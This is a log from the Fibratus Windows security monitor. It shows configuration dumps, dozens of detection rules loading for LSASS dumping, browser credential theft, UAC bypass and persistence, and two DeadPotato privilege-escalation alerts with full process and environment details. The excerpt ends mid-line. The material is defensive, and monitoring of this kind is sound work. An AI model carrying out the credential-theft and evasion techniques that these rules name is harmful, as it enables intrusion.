enable-fileio=>true enable-thread=>true enable-dns=>false enable-vamap=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-size=>100 max-backups=>15 log-stdout=>true max-age=>0 formatter=>text] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ healthcheck-timeout=>5s sniff=>false timeout=>5s bulk-workers=>1 healthcheck=>true index-name=>fibratus enabled=>false gzip-compression=>false template-name=>fibratus trace-log=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s flush-period=>1s] http=>[ serializer=>json timeout=>5s enable-gzip=>false enabled=>false endpoints=>[] tls-insecure-skip-verify=>false method=>POST] amqp=>[ url=>amqp://localhost:5672 delivery-mode=>transient timeout=>5s durable=>false passive=>false routing-key=>fibratus tls-insecure-skip-verify=>false exchange=>fibratus exchange-type=>topic vhost=>/ enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ enabled=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-files=>false skip-registry=>false skip-allocs=>false skip-mmaps=>false scan-timeout=>10s excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T11:30:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:30:53+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:31:04+01:00 level=info msg=sending alert: [Potential privilege escalation via DeadPotato exploit]. Text: Event(s): + Seq: 1273635 + Pid: 1428 + Tid: 4294967295 + Type: Connect + CPU: 6 + Name: Connect + Category: net + Description: Connects establishes a connection to the socket + Host: archrabbit + Timestamp: 2025-11-25 11:30:56.9829073 +0100 CET + Params: dip➜ 127.0.0.1, dport➜ 135, dport_name➜ epmap, l4_proto➜ TCP, pid➜ 1428, sip➜ 127.0.0.1, size➜ 0, sport➜ 59536 + Metadata: rule.name: Potential privilege escalation via DeadPotato exploit, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 1428 + Ppid: 1004 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k RPCSS -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-20 + Integrity level: SYSTEM + Username: NETWORK SERVICE + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k RPCSS -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp TMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\ServiceProfiles\NetworkService _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T11:31:11+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T11:31:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:31:12+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:31:27+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:31:27+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T11:31:27+01:00 level=info msg=bootstrapping with pid 1200. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T11:31:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html use-template=>true enabled=>false port=>25 to=>[]] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ min-buffers=>16 enable-vamap=>true enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true buffer-size=>512 enable-fileio=>true enable-image=>true stack-enrichment=>true max-buffers=>36 enable-registry=>true flush-interval=>1s enable-net=>true enable-thread=>true enable-mem=>false enable-handle=>false enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 max-backups=>15 log-stdout=>true formatter=>text level=>info] + output ......................... [ eventlog=>[ enabled=>false level=>info] amqp=>[ enabled=>false durable=>false tls-insecure-skip-verify=>false timeout=>5s delivery-mode=>transient vhost=>/ exchange=>fibratus url=>amqp://localhost:5672 exchange-type=>topic routing-key=>fibratus passive=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ timeout=>5s method=>POST enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] serializer=>json] elasticsearch=>[ enabled=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s healthcheck-interval=>10s sniff=>false flush-period=>1s healthcheck=>true bulk-workers=>1 gzip-compression=>false index-name=>fibratus timeout=>5s trace-log=>false]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] fastscan=>true excluded-files=>[] skip-files=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-registry=>false enabled=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T11:31:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:31:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:31:38+01:00 level=info msg=sending alert: [Potential privilege escalation via DeadPotato exploit]. Text: Event(s): + Seq: 1298863 + Pid: 1428 + Tid: 4294967295 + Type: Connect + CPU: 0 + Name: Connect + Category: net + Description: Connects establishes a connection to the socket + Host: archrabbit + Timestamp: 2025-11-25 11:31:33.2751756 +0100 CET + Params: dip➜ 127.0.0.1, dport➜ 135, dport_name➜ epmap, l4_proto➜ TCP, pid➜ 1428, sip➜ 127.0.0.1, size➜ 0, sport➜ 59444 + Metadata: rule.name: Potential privilege escalation via DeadPotato exploit, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 1428 + Ppid: 1004 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k RPCSS -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-20 + Integrity level: SYSTEM + Username: NETWORK SERVICE + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k RPCSS -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program 